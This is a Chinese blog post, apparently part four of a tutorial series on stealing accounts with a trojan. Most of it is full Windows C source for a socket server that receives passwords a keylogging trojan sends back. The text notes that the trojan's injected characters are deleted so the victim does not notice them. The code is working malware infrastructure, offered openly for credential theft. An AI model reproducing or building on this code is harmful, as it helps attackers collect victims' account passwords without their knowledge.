前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >木马盗号《四》

木马盗号《四》

作者头像
知识与交流
发布2021-04-02 11:59:31
7220
发布2021-04-02 11:59:31
举报
文章被收录于专栏:黑客技术家园

目标:

实现服务端的代码编写,用于接受木马发回的消息。

实现:

由于这一篇实现任务比较简单,我就讲一下密码的消息接收,账号类似。由于密码一开始我们需要接受密码本,所以我们需要区分一下发来的是密码本还是未翻译的密码。由于为了方便我们只模拟10个数字,所以一共20个字符(加上对应的BackSpace,因为不想让用户看出为何密码框平白无故多出10字符,所以我们需要删除)。之后就是简单的字符接收就OK了O(∩_∩)O

代码如下:

代码语言:javascript
复制
#define WIN32_LEAN_AND_MEAN
#include<windows.h>
#include<Winsock2.h>
#include<stdio.h>
#pragma comment(lib,"Ws2_32.lib")
//用于消息定位输出
void gotoxy(int x, int y) {
 COORD pos = { x,y };
 HANDLE hOut = GetStdHandle(STD_OUTPUT_HANDLE);// 获取标准输出设备句柄
 SetConsoleCursorPosition(hOut, pos);//两个参数分别是指定哪个窗体,具体位置
}
void main() {
 WSADATA wsaData;
 int state = 0;
 if (WSAStartup(MAKEWORD(2, 2), &wsaData)) {
 printf("套接字初始化失败!\n");
 }
 SOCKET serviceSocket = socket(AF_INET, SOCK_STREAM, 0);
 if (serviceSocket == INVALID_SOCKET) {
 printf("创建套接字失败!\n");
 }
 SOCKADDR_IN socketAddService;
 socketAddService.sin_family = AF_INET;
 socketAddService.sin_port = htons(6667);
 socketAddService.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
 state = bind(serviceSocket, (LPSOCKADDR)&socketAddService, sizeof(SOCKADDR_IN));
 if (state == SOCKET_ERROR) {
 printf("账号绑定失败!\n");
 }
 state = listen(serviceSocket, 1);
 if (state == SOCKET_ERROR) {
 printf("开启监听失败!\n");
 }
 SOCKADDR_IN socketAddClient;
 int iSocketLen = sizeof(SOCKADDR_IN);
 char cBuffer[40] = {0};
 int index = 0;
 printf("监听密码中..........\n");
 printf("密码翻译本:");
 int num = 0;
 while (1)
 {
 SOCKET clientSocket = accept(serviceSocket, (LPSOCKADDR)&socketAddClient, &iSocketLen);
 int iRec = recv(clientSocket, &cBuffer[index], 1, 0);//接受数据
 if (num < 20) {//20是因为10个字符和10和Backspace
 if ((int)cBuffer[index] == 8&&index>0) {//不接受BackSpace
 cBuffer[index] = 0;
 }
 else
 {
 index++;
 }
 gotoxy(11, 1);
 printf("%s", cBuffer);//输出密码本
 if (num == 19) {
 printf("\n未翻译密码:");
 index = 0;
 memset(cBuffer, 0, 40);
 }
 }
 else
 {
 if ((int)cBuffer[index] == 8&&index>0) {//接受未翻译密码
 index--;
 cBuffer[index] = 0;
 }
 else
 {
 index++;
 }
 gotoxy(11, 2);
 printf("%s", cBuffer);
 }
 num++;
 if (iRec == 0||iRec==SOCKET_ERROR) {
 printf("断开连接\n");
 break;
 }
 }
 closesocket(serviceSocket);
 WSACleanup();
 system("pause");
}

本篇结语:

本篇很简单,没什么要讲的。

THE END

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2019-02-16,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 黑客技术家园 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档